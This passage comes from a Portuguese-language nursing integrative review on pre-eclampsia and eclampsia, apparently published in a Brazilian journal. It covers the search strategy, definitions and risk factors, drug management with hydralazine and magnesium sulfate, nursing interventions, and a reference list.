<figure class="wp-block-table"><table><tbody><tr><td><strong>Base de dados&nbsp;</strong></td><td class="has-text-align-center" data-align="center"><strong>Estratégia de busca (Booleanos)&nbsp;</strong></td></tr><tr><td><strong>BDENF&nbsp;</strong></td><td class="has-text-align-center" data-align="center">(&#8220;pré-eclâmpsia&#8221; OR &#8220;eclâmpsia&#8221;) AND (&#8220;obstetrícia&#8221; OR &#8220;cuidados de enfermagem&#8221;)&nbsp;</td></tr><tr><td><strong>LILACS&nbsp;</strong></td><td class="has-text-align-center" data-align="center">(&#8220;pré-eclâmpsia&#8221; AND &#8220;cuidados de enfermagem&#8221;) OR (&#8220;eclâmpsia&#8221; AND &#8220;obstetrícia&#8221;)&nbsp;</td></tr><tr><td><strong>MEDLINE&nbsp;</strong></td><td class="has-text-align-center" data-align="center">(&#8220;pré-eclâmpsia&#8221; OR &#8220;eclampsia&#8221;) AND (&#8220;obstetrics&#8221; AND &#8220;nursing care&#8221;)&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Autoras, 2025.&nbsp;</p>



<p class="has-text-align-left wp-block-paragraph">A busca dos materiais nas bases de dados utilizando os operadores booleanos com os descritores, foi encontrado 1.567 artigos, ao lançar os critérios relacionados aos anos de publicação e aos idiomas, foram excluídos 1.042 restando 525, destes 12 foram excluídos por duplicadas, restando 513, quanto as pertinências da temática foram exclusas 435 artigos, restando 78, destes ainda foram exclusas 04 dissertações e 05 teses, restando 69 para leitura na íntegra, onde foram exclusos 57 por não atenderem a pertinência da temática, restando como amostra final 12. Sendo 06 artigos das bases de dados BDENF, 04 artigos da LILACS e 02 artigos da MEDLINE. Abaixo encontra-se a figura 2 com o fluxograma de busca da amostra desta pesquisa.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2:</strong> Fluxograma de busca nas bases de dados.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="534" height="416" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3194.png" alt="" class="wp-image-256832" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3194.png 534w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3194-300x234.png 300w" sizes="(max-width: 534px) 100vw, 534px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Autoras, 2025.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RESULTADOS E DISCUSSÃO</strong>&nbsp;</p>



<p class="has-text-align-left wp-block-paragraph">Para apresentar os dados desta pesquisa foi elaborado um questionário como instrumento da coleta de dados, ele contempla aspectos essenciais como autor, ano, base de dados, título, nível de evidência, objetivo, tipo de estudo, além dos resultados e conclusões de cada estudo. Esses elementos permitiram uma análise crítica e comparativa entre as publicações, garantindo maior rigor na seleção das evidências e contribuindo para a identificação das intervenções mais eficazes da enfermagem nesse contexto.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 2:</strong> Instrumento De Coleta De Dados</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="604" height="687" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3195.png" alt="" class="wp-image-256833" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3195.png 604w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3195-264x300.png 264w" sizes="(max-width: 604px) 100vw, 604px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="603" height="849" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3196.png" alt="" class="wp-image-256834" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3196.png 603w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3196-213x300.png 213w" sizes="(max-width: 603px) 100vw, 603px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="602" height="700" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3197.png" alt="" class="wp-image-256835" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3197.png 602w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3197-258x300.png 258w" sizes="(max-width: 602px) 100vw, 602px" /></figure>



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<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="602" height="267" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-3199.png" alt="" class="wp-image-256837" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-3199.png 602w, https://revistaft.com.br/wp-content/uploads/2025/11/image-3199-300x133.png 300w" sizes="(max-width: 602px) 100vw, 602px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Autoras, 2025.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Quanto às doenças hipertensivas gestacionais, a sua definição consiste em uma intercorrência clínica da gestação e representam a principal causa de morbimortalidade materna no mundo. Elas se caracterizam pelo aumento da pressão arterial durante a gravidez, com valores absolutos de pressão sistólica acima de 140 mmHg e/ou pressão diastólica acima de 90 mmHg (Lima et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">A pré-eclâmpsia é uma complicação da gravidez caracterizada por pressão alta e danos aos órgãos, geralmente fígado e rins. A eclâmpsia, por outro lado, é uma forma grave de pré-eclâmpsia que envolve ataques ou convulsões. Embora a pré-eclâmpsia possa ser tratada com cuidados médicos adequados, a eclâmpsia é uma emergência médica que requer tratamento imediato (Lisboa; Duarte; Silva, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Como nova forma de classificação, propôs-se didaticamente a divisão entre Pré eclâmpsia de início precoce (que se desenvolve antes de 34 semanas) ou de início tardio (a partir de 34 semanas). A forma precoce se correlaciona com maiores repercussões, principalmente no desenvolvimento placentário e da circulação uteroplacentária, podendo representar maior deterioramento clínico e laboratorial. Em contrapartida, a pré-eclâmpsia de início tardio se associa a síndromes inflamatórias, metabólicas e à comprometimento endotelial crônico, o que predispõe a doenças crônicas, como a obesidade ao longo da vida (Silva; Vicente; França, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Porém Souza e Silva (2021), afirmam que a eclâmpsia pode aparecer a qualquer momento, podendo ser na gravidez, parto ou após o parto. A doença é uma complicação grave da gravidez que, se não for tratada imediatamente, poderá acarretar complicações graves e até fatais para mães e bebês.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Vários fatores de risco estão associados ao desenvolvimento de pré-eclâmpsia e eclâmpsia, incluindo primeira gravidez, gestações múltiplas, obesidade, hipertensão crônica, diabetes e histórico de pré-eclâmpsia. Os sinais e sintomas da pré-eclâmpsia podem variar, mas frequentemente incluem pressão alta, proteína na urina, ganho repentino de peso e inchaço das mãos e rosto. A eclâmpsia é caracterizada por convulsões em mulheres cuja gravidez foi complicada por pré-eclâmpsia (Lisboa; Duarte; Silva, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Além disso, um outro fator que requer atenção é a associação da PE com outras patologias que podem acometer as gestantes, como diabetes e infecção do trato urinário, além de sinais e sintomas clínicos como edema em membros. Sendo estes frequentemente associado às mulheres que desenvolvem PE. O número de gestantes por si já é preocupante e se mostra ainda mais alarmante quando percebemos que tal patologia pode vir acompanhada de outra, devendo assim a equipe de enfermagem manter vigilância total (Silva et al., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Souza et al. (2021), destacam o edema como sinais mais pontuados e que é procurado pelo enfermeiro durante os casos de pré-eclâmpsia e eclâmpsia, salienta-se que esse achado é resultado da retenção exagerada de sal e água. Os autores Lisboa; Duarte e Silva (2024), destacam como sinais e sintomas da pré-eclâmpsia: proteína na urina, ganho repentino de peso e inchaço das mãos e rosto.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Porém, até 2022, considerava-se obrigatória a presença de proteinúria associada a alteração dos níveis pressóricos para o diagnóstico de pré-eclâmpsia. Com a última publicação do “Manual de Gestação de Alto Risco” do Ministério da Saúde, passou-se a considerar tanto a associação de proteinúria quanto a presença de comprometimento sistêmico, disfunção de órgãos alvo ou sinais de comprometimento sistêmico como indicativos de pré-eclâmpsia, excluindo, é claro, patologias de base (Silva; Vicente; França, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Lima e colaboradores (2024), afirmam que a partir dos sinais e sintomas que apontem para uma crise de pré-eclâmpsia as medidas de profilaxia precisam ser adotadas para evitar um possível agravo que leve ao estado de eclâmpsia. Os principais meios para a captação desses sintomas giram em torno de dois exames primordiais, a avaliação da pressão arterial a fim de identificar os níveis pressóricos e exame com fita de urina, que avalia a proteinúria por meio da coleta de urina durante 24 horas, sendo considerada significativa quando ultrapassa 300 mg ou&nbsp;≥ 2 cruzes em fita numa amostra isolada de urina.&nbsp;</p>



<p class="wp-block-paragraph">A hipertensão na gravidez pode ter efeitos significativos na mãe e no feto. A mãe pode apresentar sintomas como dores de cabeça, visão turva e dor abdominal. Em casos graves, pode causar eclâmpsia, uma condição potencialmente fatal que pode causar convulsões e coma. O feto também pode sofrer restrição de crescimento, nascimento prematuro e até morte. Os enfermeiros devem ter conhecimento desses sinais e sintomas para detectá-los e notificá-los prontamente. Ao monitorar os sinais vitais, o débito urinário e a frequência cardíaca fetal, os enfermeiros podem identificar possíveis complicações e intervir adequadamente (Lisboa; Duarte; Silva, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Compreender os diferentes aspectos da hipertensão em pacientes grávidas é essencial para fornecer cuidados eficazes. Desde a identificação dos fatores de risco até o monitoramento dos sintomas e sinais vitais, os enfermeiros desempenham um papel crucial em cada etapa do processo de cuidado. Os enfermeiros devem estar atentos a sinais de alerta e sintomas para identificar precocemente qualquer complicação e garantir uma intervenção oportuna (Lisboa; Duarte; Silva, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Em casos graves, a hospitalização pode ser necessária para monitoramento e tratamento mais intensivos. Medicamentos e terapias são componentes essenciais do manejo da hipertensão em pacientes grávidas. Os enfermeiros devem trabalhar em estreita colaboração com a equipe de saúde para garantir que os pacientes recebam medicamentos e terapias apropriadas. Estes podem incluir medicamentos anti-hipertensivos, sulfato de magnésio e corticosteroides (Lisboa; Duarte; Silva, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Lima e colaboradores (2024), inferem para a crise hipertensiva o medicamento de escolha é a Hidralazina, que possui uma ação vasodilatadora potente, em que seu mecanismo de ação atua sobre a musculatura lisa dos vasos de resistência. Por apresentar uma ação potencial, precisa ser administrada em água destilada e por via intravenosa (IV) no qual 1ml do fármaco pode ser administrado em 9 ml de água destilada para ser administrado 2,5ml da medicação ou em 19 ml de água destilada para ser administrado 5ml da medicação, sua ação é rápida em que 15% a 25% da pressão arterial reduz na primeira hora após a introdução. E caso o feto apresente menos de 36 semanas será necessária a utilização de corticoides para maturação da função pulmonar fetal, o mais indicado para essa condição é o Betametasona.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O sulfato de magnésio (MgSO₄) é a melhor opção para profilaxia de convulsões, iniciando com dose de ataque mais concentrada, diluída em 100–200 ml de solução isotônica e administrada em até 30 minutos. As doses de manutenção são menos concentradas, totalizando seis aplicações ao longo de 24 horas, período de maior risco convulsivo. São necessários cuidados rigorosos para evitar impregnação, que pode causar ausência de reflexos, alterações respiratórias, sinais vitais anormais e até parada cardiorrespiratória. Em caso de complicações, o gluconato de cálcio deve estar preparado como antídoto. Além disso, é indicada sonda vesical de demora e monitorização horária dos sinais vitais e hidratação venosa (Lima et al., 2024).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em um contexto primária, a fim de prevenir a pré-eclâmpsia, todas as gestantes com risco elevado devem praticar atividade física moderada por pelo menos 140 minutos semanais, desde que não haja contraindicação e fazer o uso de ácido acetil salicílico (AAS) entre 12ª e 36ª semana de gravidez para aquelas com risco elevado de PE. Também se recomenda, como medida profilática, a suplementação de cálcio em populações com baixa ingesta diária a partir do primeiro trimestre até o final da gestação (Silva; Vicente; França, 2024).&nbsp;</p>



<p class="wp-block-paragraph">O enfermeiro é um dos profissionais fundamentais em urgências obstétricas, pois ele é o primeiro membro da equipe a entrar em contato com a paciente. Por isso, ele deve prestar uma assistência de forma minuciosa, com responsabilidade, com base em evidências científicas atualizadas, com humanização, com acolhimento e de forma a reduzir a morbimortalidade materno/fetal, traumas físicos e psicológicos (Nunes et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">A primeira intervenção de enfermagem para gestantes hipertensas é realizar uma avaliação minuciosa de sua condição e sinais vitais. Isso inclui monitorar a pressão arterial, frequência cardíaca, frequência respiratória e níveis de saturação de oxigênio. Os enfermeiros também devem avaliar o estado geral de saúde do paciente, ao realizar uma avaliação abrangente, os enfermeiros podem identificar quaisquer riscos ou preocupações potenciais e desenvolver um plano de cuidados apropriado para gerir a condição do paciente (Lisboa; Duarte; Silva, 2024). Souza e colaboradores destacam que a mensuração da pressão arterial da gestante, deve ser realizada com a utilização de manguito adequado. Bem como a mediação deve ser realizada com a paciente sentada e um dos antebraços elevados à altura do átrio, devendo ser repetida de uma a duas vezes (Souza et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">No primeiro contato com a gestante, a avaliação das principais queixas e dos sinais vitais é realizado, ou seja, o histórico do paciente e o exame físico bem elaborado é feito para identificar os sinais e sintomas. A realização do exame físico é um instrumento de grande valia para a assistência uma vez que permite ao enfermeiro validar os achados da anamnese e como também a identificação de problemas (Souza et al., 2021).&nbsp;</p>



<p class="wp-block-paragraph">Nunes e colaboradores (2020), afirmam que os profissionais devem realizar: uma anamnese segura e detalhada da gestante; um exame físico criterioso sempre atentando para os níveis pressóricos e os sinais de alerta; avaliar os exames laboratoriais e ficar atento em especial à proteinúria de 24h; analisar a vitalidade fetal; estimular a paciente a continuar fazendo o pré-natal; e promover educação em saúde em todo o processo gestacional da cliente.&nbsp;</p>



<p class="wp-block-paragraph">Lisboa; Duarte; Silva (2024), ressaltam que os enfermeiros também podem oferecer apoio emocional e recursos para lidar com o estresse e a ansiedade associados a essas condições. Trabalhando em conjunto com outros profissionais de saúde, os enfermeiros desempenham um papel vital na garantia dos melhores resultados para mães e bebês afetados pela pré-eclâmpsia e eclâmpsia. Por isso Souza et al. (2024), destaca a atuação multidisciplinar, envolvendo enfermeiros, médicos, nutricionistas e outros profissionais de saúde, é fundamental para criar planos de cuidado personalizados e mais eficazes. Essa abordagem colaborativa, no entanto, ainda enfrenta desafios como a falta de recursos adequados nas unidades de saúde, limitando a eficácia do atendimento.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A pré-eclâmpsia evolui naturalmente e quando não tratada/interrompida a gestação, ocorre o desenvolvimento para as formas mais graves, especialmente a eclâmpsia e a síndrome HELLP. É de grande importância que o profissional de enfermagem atue de forma mais efetiva e presente, para que as reais necessidades das pacientes sejam supridas, havendo melhora do quadro clínico e eventuais complicações sejam evitadas (Mai; Kratzer; Martins, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Para a decisão da melhor época para a interrupção da gestação, o Ministério da Saúde descreve que é necessário levar em conta a viabilidade fetal, uma vez que é variável em cada serviço, devido às diferentes infraestruturas das maternidades e das UTIs neonatais no território nacional. E, essa decisão é sempre compartilhada com os pais em gestações abaixo de 24 a 26 semanas. Já diante de maior viabilidade fetal (entre 26 e 34 semanas) é altamente recomendado vigilância materno fetal, na ausência de indicações de parto imediato, com recomendações fortes para corticoterapia para maturação pulmonar fetal. Caso haja estabilidade hemodinâmica materna e boa vitalidade fetal pode-se prolongar a gestação até 37 semanas (Silva; Vicente; França, 2024).&nbsp;</p>



<p class="wp-block-paragraph">É imprescindível que o profissional de enfermagem conheça e aprimore sua conduta com conhecimentos teórico-práticos pautados em evidências científicas atualizadas, a fim de detectar complicações que coloquem em risco a qualidade de vida da gestante e de seu bebê, evitando dessa forma a morbimortalidade materno/fetal. Por isso, os cuidados de enfermagem devem ser exercidos de forma criteriosa e segura, com o propósito de prestar uma assistência de excelência aos seus usuários (Bandeira et al, 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Desta forma destaca-se a SAE como documento importante que visa anotar e priorizar o atendimento e a assistência ao cliente oferecendo apoio, segurança e cuidados, além de auxiliar e ajudar a organização do trabalho de enfermagem. A SAE permite ao enfermeiro a identificação precoce de riscos ou alterações que esta gestante esteja sofrendo, com indício de pré-eclâmpsia ou eclâmpsia, na qual pode se ter um desfecho favorável, evitando a ocorrência de óbito materno-fetal. Desta forma, a SAE pode instrumentalizar o enfermeiro para uma abordagem assistencial, direcionando cuidados específicos para essas pacientes, evitando-se resultados negativos (Souza; Silva, 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nos estudos de Neto et al. (2022), revelou como diagnósticos de enfermagem: à dor, volume de fluidos e respostas de ansiedade. Os mesmos afirmam que o diagnóstico de dor foi o mais frequente, relacionado a contrações uterinas, a ansiedade e problemas psicológicos em gestantes à falta de controle sobre o parto, lidando com partos prematuros, medicalizados e inesperados, e temendo por suas vidas e pela vida de seus filhos. Outros diagnósticos no estudo foram conforto prejudicado, manutenção da saúde ineficaz, medo e risco de infecção. Tais diagnósticos apresentados são implementados no ambiente hospitalar. Eles podem revelar um retrato da realidade, influenciando mudanças viáveis de acordo com as necessidades de cada gestante.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Souza e Silva (2021, algumas das intervenções para essas gestantes são:&nbsp;acomodar a paciente no leito e oferecer roupas adequadas; aferir e anotar sinais vitais de 2/2 horas; apoiar a paciente em suas necessidades; comunicar ao enfermeiro alteração na saturação, frequência cardíaca e pressão arterial; lavar as mãos antes e após contato com a paciente; manter leito limpo e organizado; manter monitoração cardíaca contínua e oximetria de pulso; observar e registrar a amamentação; observar local de punção venosa; observar nível de consciência; promover mudança de decúbito de 2/2hs; realizar acesso&nbsp; venoso s/n; realizar higiene oral e corporal diariamente; realizar troca de acesso venoso periférico a cada 72 hrs; realizar troca de equipo de drogas.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">É importante que o(a) enfermeiro(a) disponha de recursos técnicos e estruturais para a realização de um cuidado adequado e humanizado. Damasceno e Cardoso (2022), sugere a capacitação continuada desses profissionais para o enfrentamento, foi identificada como fator essencial para a melhoria da assistência pré-natal, sendo um componente relevante para a redução dos agravos maternos e fetais.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONSIDERAÇÕES FINAIS </strong>&nbsp;</p>



<p class="wp-block-paragraph">Os cuidados de enfermagem no manejo da pré-eclâmpsia constituem um elemento essencial para a prevenção de desfechos graves, garantindo segurança materno-fetal e qualidade na assistência. A enfermagem atua desde a identificação precoce dos fatores de risco até o monitoramento contínuo dos sinais de alerta, intervenções emergenciais e acompanhamento emocional da gestante. A avaliação rigorosa da pressão arterial, vigilância da proteinúria, monitorização de sinais vitais, controle hídrico, administração correta de medicações como anti-hipertensivos, sulfato de magnésio e corticoides, além da educação em saúde e da atuação em equipe multidisciplinar, representam pilares indispensáveis. Por meio da Sistematização da Assistência de Enfermagem (SAE), o enfermeiro consegue direcionar cuidados individualizados, reconhecer precocemente complicações e agir de forma rápida e eficaz, contribuindo diretamente para a redução da morbimortalidade materna e neonatal associada às doenças hipertensivas gestacionais.&nbsp;</p>



<p class="wp-block-paragraph">Embora haja avanços significativos no conhecimento e na prática assistencial voltada à pré-eclâmpsia, persistem limitações que desafiam a qualidade do cuidado. Entre elas destacam-se a escassez de recursos materiais e humanos em muitos serviços de saúde, a falta de capacitação continuada das equipes, desigualdades regionais e dificuldades na implementação plena da SAE. Essas lacunas podem comprometer a detecção precoce de sinais clínicos e limitar o manejo oportuno das complicações. Como perspectiva, reforça-se a necessidade de investimentos em educação permanente, protocolos padronizados baseados em evidências, ampliação da infraestrutura e fortalecimento da atuação multiprofissional. Ademais, pesquisas futuras podem aprofundar a avaliação da eficácia das intervenções de enfermagem, buscando estratégias inovadoras e tecnologias de apoio à decisão clínica, que contribuam para um cuidado cada vez mais seguro, humanizado e resolutivo às gestantes com pré-eclâmpsia.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong>&nbsp;</p>



<p class="wp-block-paragraph">BANDEIRA, Shésia Dacielle de Oliveira et al. Assistência de enfermagem na pré-eclâmpsia. <strong>Diálogos em Saúde</strong>, v. 6, n. 2, 2023.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde, Secretaria de Atenção Primária à Saúde, Departamento de Ações Programáticas. Manual de gestação de alto risco. Brasília: Ministério da Saúde, 2022.&nbsp;</p>



<p class="wp-block-paragraph">BRASIL. Ministério da saúde. Manual de gestação de alto risco; Brasília; D.F.; 2022; disponível em: Portal da Secretaria de Atenção Primária a Saúde (saude.gov.br). Acesso em: 15/03/2025.&nbsp;</p>



<p class="wp-block-paragraph">DAMASCENO, Ana Alice de Araújo; CARDOSO, Marly Augusto. O papel da enfermagem nas síndromes hipertensivas da gravidez: Revisão integrativa. <strong>Revista Nursing</strong>, v. 25, n. 289, p. 7930-7934, 2022.&nbsp;</p>



<p class="wp-block-paragraph">FELICIANO, Gláucio Diré. Embriologia Fundamental. São Paulo:&nbsp; Freitas Bastos, 2023.&nbsp;</p>



<p class="wp-block-paragraph">GUIDA, J.&nbsp; P. DE S. et al. Prevalence of preeclampsia in Brazil:&nbsp; an Integrative Review. <strong>Revista Brasileira de Ginecologia e Obstetrícia</strong>, v.44, n. 7, p. 686-691, 2022.&nbsp;</p>



<p class="wp-block-paragraph">LIMA, Kauane Vitória Chagas Rodrigues et al. Assistência De Enfermagem À Gestante Com Pré-Eclâmpsia Nursing Care For Pregnant Women With Pre-Eclampsia.&nbsp; 2024. Disponível em:&nbsp;https://doi.org/10.58871/CONSAMU24.C31. Acesso em: 20 de nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">LISBOA, Heloísa Rodrigues; DUARTE, Raphaela Ferreira; SILVA, Aianne Carolina Pego. Qualificação da assistência de enfermagem a gestantes com pré-eclâmpsia. <strong>Revista Multidisciplinar do Nordeste Mineiro</strong>, v. 1, 2024.&nbsp;</p>



<p class="wp-block-paragraph">MAI, Camila Mayara; KRATZER, Pamela Mireli; MARTINS, Wesley. Assistência de enfermagem em mulheres com pré-eclâmpsia e/ou eclâmpsia: uma revisão integrativa da literatura. <strong>Boletim de Conjuntura</strong> (BOCA), v. 8, n. 23, p. 28-39, 2021.&nbsp;</p>



<p class="wp-block-paragraph">MEDEIROS, F. F., et al. Avaliação pré-natal da gestação de alto risco na atenção primária e ambulatorial especializada: estudo misto. <strong>Revista Brasileira de Enfermagem</strong>, v. 76, p. e20220420, 2023.&nbsp;</p>



<p class="wp-block-paragraph">MENDES, K. D; SILVEIRA, R. C. C. P; GALVÃO, C. M. Revisão integrativa: método de pesquisa para a incorporação de evidências na saúde e na enfermagem. <strong>Texto &amp; Contexto Enfermagem</strong>, V. 17, P. 758-764, 2008.&nbsp;</p>



<p class="wp-block-paragraph">MIRANDA, BKB et al. Mortalidade Materna: distribuição e causas no estado do Pará entre os anos 2012 a 2016. <strong>Revista de Educação, Saúde e Ciências do Xingu</strong>, v. 1, n. 1, p. 160-170, 2019.&nbsp;</p>



<p class="wp-block-paragraph">NETO, João Cruz et al. Nursing diagnoses and interventions in women with hypertensive disorders of pregnancy: A scoping review. Aquichan, v. 22, n. 3, 2022.&nbsp;</p>



<p class="wp-block-paragraph">NUNES, Francisca Josiane Barros Pereira et al. Cuidado clínico de enfermagem à gestante com pré-eclâmpsia: Estudo reflexivo. <strong>Brazilian Journal of Health Review</strong>, v. 3, n. 4, p. 1048310493, 2020.&nbsp;</p>



<p class="wp-block-paragraph">OLIVEIRA GS, et al.&nbsp; Assistência de enfermeiros na síndrome hipertensiva gestacional em hospital de baixo risco obstétrico. <strong>Rev Cuid</strong>, 2017; 8(2): 1561-72.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, Ana Karoline Lacerda Sousa; VICENTE, Maria Vitória Pereira; FRANÇA, Anelise Silva. Nova panorâmica sobre pré-eclâmpsia: atualizações. <strong>Revista Ciência Life</strong>, v. 1, n. 5, p. 17-22, 2024.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, Dannyely Andréia et al. Gestantes Com Pré-Eclâmpsia: Uma Análise Da Literatura Sobre Seu Perfil Obstétrico. Recisatec-<strong>Revista Científica Saúde E Tecnologia</strong>-ISSN 27638405, v. 2, n. 9, p. e29185-e29185, 2022.&nbsp;</p>



<p class="wp-block-paragraph">SOUZA, Ana Gabriely Carvalho de et al. Importância da Enfermagem na Implementação de Protocolos de Cuidado Integral para Gestantes com Pré-Eclâmpsia: Estratégias e Desafios. RCMOS-<strong>Revista Científica Multidisciplinar</strong> O Saber, v. 1, n. 2, 2024.&nbsp;</p>



<p class="wp-block-paragraph">SOUZA, Mariana Antunes Carvalho; SILVA, Maria Aparecida Xavier Moreira. Sistematização Da Assistência De Enfermagem Para Gestantes Com Pré Eclâmpsia E/Ou Eclâmpsia: Revisão Integrativa Da Literatura. <strong>Revista Ibero-Americana de Humanidades</strong>, Ciências e Educação, v. 7, n. 10, p. 3228-3261, 2021.&nbsp;</p>



<p class="wp-block-paragraph">SOUZA, R. S. S. et al. Atuação da enfermagem no atendimento às emergências obstétricas:&nbsp;Eclâmpsia e Pré-eclâmpsia. <strong>Brazilian journal of health review</strong>, v. 4, n. 1, p. 1022-1032, 2021.</p>



<p class="has-text-align-left wp-block-paragraph">URSI, Elizabeth Silva; GALVÃO, Cristina Maria. Prevenção de lesões de pele no perioperatório: revisão integrativa da literatura. <strong>Revista Latino-Americana de Enfermagem</strong>, v. 14, p. 124-131, 2006.</p>



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<p class="has-text-align-right wp-block-paragraph"></p>
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